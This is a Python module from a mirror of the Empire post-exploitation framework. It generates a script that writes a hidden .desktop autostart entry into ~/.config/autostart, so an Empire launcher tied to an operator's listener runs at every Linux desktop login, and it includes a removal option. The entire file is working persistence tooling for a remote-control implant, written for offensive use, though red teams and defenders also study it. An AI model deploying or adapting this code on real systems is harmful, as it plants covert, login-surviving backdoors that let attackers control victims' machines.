mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
127 lines
4.4 KiB
Python
127 lines
4.4 KiB
Python
import base64
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
# metadata info about the module, not modified during runtime
|
|
self.info = {
|
|
# name for the module that will appear in module menus
|
|
'Name': 'DesktopFile',
|
|
|
|
# list of one or more authors for the module
|
|
'Author': '@jarrodcoulter',
|
|
|
|
# more verbose multi-line description of the module
|
|
'Description': 'Installs an Empire launcher script in ~/.config/autostart on Linux versions with GUI.',
|
|
|
|
# True if the module needs to run in the background
|
|
'Background' : False,
|
|
|
|
# File extension to save the file as
|
|
'OutputExtension' : None,
|
|
|
|
# if the module needs administrative privileges
|
|
'NeedsAdmin' : False,
|
|
|
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
|
'OpsecSafe' : False,
|
|
|
|
# the module language
|
|
'Language' : 'python',
|
|
|
|
# the minimum language version needed
|
|
'MinLanguageVersion' : '2.6',
|
|
|
|
# list of any references/other comments
|
|
'Comments': 'https://digitasecurity.com/blog/2018/01/23/crossrat/, https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html, https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/'
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
# The 'Agent' option is the only one that MUST be in a module
|
|
'Description' : 'Agent to execute module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Listener' : {
|
|
'Description' : 'Listener to use.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Remove' : {
|
|
'Description' : 'Remove Persistence based on FileName. True/False',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'FileName' : {
|
|
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
|
|
'Required' : False,
|
|
'Value' : 'sec_start'
|
|
}
|
|
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
# During instantiation, any settable option parameters
|
|
# are passed as an object set to the module and the
|
|
# options dictionary is automatically set. This is mostly
|
|
# in case options are passed on the command line
|
|
if params:
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
remove = self.options['Remove']['Value']
|
|
fileName = self.options['FileName']['Value']
|
|
listenerName = self.options['Listener']['Value']
|
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
|
|
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
|
|
dtSettings = """
|
|
[Desktop Entry]
|
|
Name=%s
|
|
Exec=python -c %s
|
|
Type=Application
|
|
NoDisplay=True
|
|
""" % (fileName, launcher)
|
|
script = """
|
|
import subprocess
|
|
import sys
|
|
import os
|
|
remove = "%s"
|
|
dtFile = \"\"\"
|
|
%s
|
|
\"\"\"
|
|
home = os.path.expanduser("~")
|
|
filePath = home + "/.config/autostart/"
|
|
writeFile = filePath + "%s.desktop"
|
|
|
|
if remove.lower() == "true":
|
|
if os.path.isfile(writeFile):
|
|
os.remove(writeFile)
|
|
print "\\n[+] Persistence has been removed"
|
|
else:
|
|
print "\\n[-] Persistence file does not exist, nothing removed"
|
|
|
|
else:
|
|
if not os.path.exists(filePath):
|
|
os.makedirs(filePath)
|
|
e = open(writeFile,'wb')
|
|
e.write(dtFile)
|
|
e.close()
|
|
|
|
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
|
|
print "\\n[+] Empire daemon has been written to %s"
|
|
|
|
""" % (remove, dtSettings, fileName, fileName, fileName)
|
|
|
|
return script
|